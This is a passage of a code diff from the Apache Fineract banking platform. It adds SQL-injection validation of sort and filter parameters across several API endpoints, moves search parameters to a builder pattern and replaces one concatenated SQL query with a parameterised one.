sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+6
-1
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.infrastructure.sms.data.SmsData;
|
||||
import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService;
|
||||
import org.springframework.stereotype.Component;
|
||||
@@ -66,6 +67,7 @@ public class SmsApiResource {
|
||||
private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
public String retrieveAll(@Context final UriInfo uriInfo) {
|
||||
@@ -99,7 +101,10 @@ public class SmsApiResource {
|
||||
@QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy,
|
||||
@QueryParam("sortOrder") final String sortOrder) {
|
||||
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
|
||||
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
|
||||
|
||||
|
||||
+4
-4
@@ -225,10 +225,10 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
|
||||
arrayPos = arrayPos + 1;
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
@@ -236,9 +236,9 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
|
||||
sqlBuilder.append(" order by smo.submittedon_date, smo.id");
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+9
-15
@@ -20,6 +20,8 @@ package org.apache.fineract.infrastructure.survey.service;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.DatatableData;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData;
|
||||
@@ -27,33 +29,25 @@ import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeader
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview;
|
||||
import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus;
|
||||
import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.jdbc.core.JdbcTemplate;
|
||||
import org.springframework.jdbc.support.rowset.SqlRowSet;
|
||||
import org.springframework.stereotype.Service;
|
||||
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@Service
|
||||
public class ReadSurveyServiceImpl implements ReadSurveyService {
|
||||
|
||||
private final PlatformSecurityContext context;
|
||||
private final JdbcTemplate jdbcTemplate;
|
||||
private final SqlValidator sqlValidator;
|
||||
private final GenericDataService genericDataService;
|
||||
private final ReadWriteNonCoreDataService readWriteNonCoreDataService;
|
||||
|
||||
@Autowired
|
||||
public ReadSurveyServiceImpl(final PlatformSecurityContext context, final JdbcTemplate jdbcTemplate,
|
||||
final GenericDataService genericDataService, final ReadWriteNonCoreDataService readWriteNonCoreDataService) {
|
||||
|
||||
this.context = context;
|
||||
this.jdbcTemplate = jdbcTemplate;
|
||||
this.genericDataService = genericDataService;
|
||||
this.readWriteNonCoreDataService = readWriteNonCoreDataService;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<SurveyDataTableData> retrieveAllSurveys() {
|
||||
|
||||
@@ -91,7 +85,7 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
|
||||
|
||||
@Override
|
||||
public SurveyDataTableData retrieveSurvey(String surveyName) {
|
||||
SQLInjectionValidator.validateSQLInput(surveyName);
|
||||
sqlValidator.validate(surveyName);
|
||||
final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table "
|
||||
+ " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'"
|
||||
+ " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id"
|
||||
@@ -153,13 +147,13 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
|
||||
+ " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '"
|
||||
+ LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from <= tz.score AND score_to >=tz.score"
|
||||
+ " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id"
|
||||
+ " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = " + clientId);
|
||||
+ " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = ?");
|
||||
}
|
||||
|
||||
List<ClientScoresOverview> scoresOverviews = new ArrayList<>();
|
||||
|
||||
for (String sql : sqls) {
|
||||
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql);
|
||||
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql, clientId);
|
||||
|
||||
while (rs.next()) {
|
||||
scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code"))
|
||||
|
||||
+6
-1
@@ -41,6 +41,7 @@ import org.apache.fineract.infrastructure.core.serialization.ToApiJsonSerializer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.notification.data.NotificationData;
|
||||
import org.apache.fineract.notification.service.NotificationReadPlatformService;
|
||||
import org.springframework.stereotype.Component;
|
||||
@@ -55,6 +56,7 @@ public class NotificationApiResource {
|
||||
private final NotificationReadPlatformService notificationReadPlatformService;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -71,7 +73,10 @@ public class NotificationApiResource {
|
||||
|
||||
this.context.authenticatedUser();
|
||||
final Page<NotificationData> notificationData;
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
if (!isRead) {
|
||||
notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters);
|
||||
} else {
|
||||
|
||||
+4
-4
@@ -135,18 +135,18 @@ public class NotificationReadPlatformServiceImpl implements NotificationReadPlat
|
||||
final StringBuilder sqlBuilder = new StringBuilder(200);
|
||||
sqlBuilder.append(sql);
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+6
-1
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.serialization.GoogleGsonSerialize
|
||||
import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.organisation.office.data.OfficeData;
|
||||
import org.apache.fineract.organisation.office.service.OfficeReadPlatformService;
|
||||
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
|
||||
@@ -90,6 +91,7 @@ public class OfficesApiResource {
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson();
|
||||
|
||||
@@ -105,7 +107,10 @@ public class OfficesApiResource {
|
||||
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
final SearchParameters searchParameters = SearchParameters.forOffices(orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).isSelfUser(false).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters);
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS);
|
||||
|
||||
+4
-4
@@ -159,12 +159,12 @@ public class OfficeReadPlatformServiceImpl implements OfficeReadPlatformService
|
||||
sqlBuilder.append(rm.officeSchema());
|
||||
sqlBuilder.append(" where o.hierarchy like ? ");
|
||||
if (searchParameters != null) {
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
}
|
||||
} else {
|
||||
sqlBuilder.append("order by o.hierarchy");
|
||||
|
||||
+2
-2
@@ -485,9 +485,9 @@ public class TellerManagementReadPlatformServiceImpl implements TellerManagement
|
||||
+ " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') "
|
||||
+ " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date ";
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sql += " ";
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset());
|
||||
} else {
|
||||
sql += sqlGenerator.limit(searchParameters.getLimit());
|
||||
|
||||
+7
-1
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.account.data.AccountTransferData;
|
||||
import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService;
|
||||
import org.springframework.stereotype.Component;
|
||||
@@ -62,6 +63,7 @@ public class AccountTransfersApiResource {
|
||||
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -125,7 +127,11 @@ public class AccountTransfersApiResource {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
|
||||
final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId);
|
||||
|
||||
|
||||
+11
-2
@@ -54,6 +54,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.account.data.AccountTransferData;
|
||||
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
|
||||
import org.apache.fineract.portfolio.account.data.StandingInstructionData;
|
||||
@@ -74,6 +75,7 @@ public class StandingInstructionApiResource {
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final StandingInstructionReadPlatformService standingInstructionReadPlatformService;
|
||||
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -182,7 +184,11 @@ public class StandingInstructionApiResource {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
|
||||
final LocalDate startDateRange = null;
|
||||
final LocalDate endDateRange = null;
|
||||
@@ -212,8 +218,11 @@ public class StandingInstructionApiResource {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
|
||||
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId);
|
||||
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters());
|
||||
Page<AccountTransferData> transfers = null;
|
||||
if (!associationParameters.isEmpty()) {
|
||||
|
||||
+7
-1
@@ -44,6 +44,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
|
||||
import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData;
|
||||
import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService;
|
||||
@@ -59,6 +60,7 @@ public class StandingInstructionHistoryApiResource {
|
||||
private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -88,7 +90,11 @@ public class StandingInstructionHistoryApiResource {
|
||||
|
||||
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
LocalDate startDateRange = null;
|
||||
LocalDate endDateRange = null;
|
||||
if (fromDateParam != null) {
|
||||
|
||||
+8
-8
@@ -218,18 +218,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
|
||||
finalObjectArray = new Object[] { accountDetailId };
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
|
||||
}
|
||||
}
|
||||
@@ -287,18 +287,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
|
||||
sqlBuilder.append(" where atsi.id = ?");
|
||||
|
||||
if (searchParameters != null) {
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+4
-4
@@ -136,18 +136,18 @@ public class StandingInstructionHistoryReadPlatformServiceImpl implements Standi
|
||||
}
|
||||
|
||||
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+4
-4
@@ -305,18 +305,18 @@ public class StandingInstructionReadPlatformServiceImpl implements StandingInstr
|
||||
}
|
||||
|
||||
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+1
-1
@@ -102,7 +102,7 @@ public class ClientChargesApiResource {
|
||||
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE,
|
||||
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE });
|
||||
}
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
|
||||
|
||||
final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus,
|
||||
pendingPayment, searchParameters);
|
||||
|
||||
+1
-1
@@ -311,7 +311,7 @@ public class ClientTransactionsApiResource {
|
||||
|
||||
private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) {
|
||||
|
||||
SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
|
||||
SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
|
||||
final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId,
|
||||
searchParameters);
|
||||
|
||||
|
||||
+9
-2
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
|
||||
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
|
||||
import org.apache.fineract.portfolio.client.data.ClientData;
|
||||
@@ -93,6 +94,7 @@ public class ClientsApiResource {
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final GuarantorReadPlatformService guarantorReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -443,8 +445,13 @@ public class ClientsApiResource {
|
||||
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
|
||||
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
|
||||
context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME);
|
||||
final SearchParameters searchParameters = SearchParameters.forClients(officeId, externalId, displayName, firstname, lastname,
|
||||
status, hierarchy, offset, limit, orderBy, sortOrder, orphansOnly, isSelfUser);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
sqlValidator.validate(hierarchy);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
|
||||
.name(displayName).hierarchy(hierarchy).firstname(firstname).lastname(lastname).status(status).orphansOnly(orphansOnly)
|
||||
.isSelfUser(isSelfUser).offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters);
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS);
|
||||
|
||||
+2
-2
@@ -151,9 +151,9 @@ public class ClientChargeReadPlatformServiceImpl implements ClientChargeReadPlat
|
||||
|
||||
// apply limit and offsets
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+7
-7
@@ -192,7 +192,7 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
|
||||
sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) ");
|
||||
|
||||
if (searchParameters != null) {
|
||||
if (searchParameters.isSelfUser()) {
|
||||
if (searchParameters.getIsSelfUser()) {
|
||||
sqlBuilder.append(
|
||||
" and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) ");
|
||||
paramList.add(appUserID);
|
||||
@@ -204,18 +204,18 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
|
||||
sqlBuilder.append(" and (").append(extraCriteria).append(")");
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
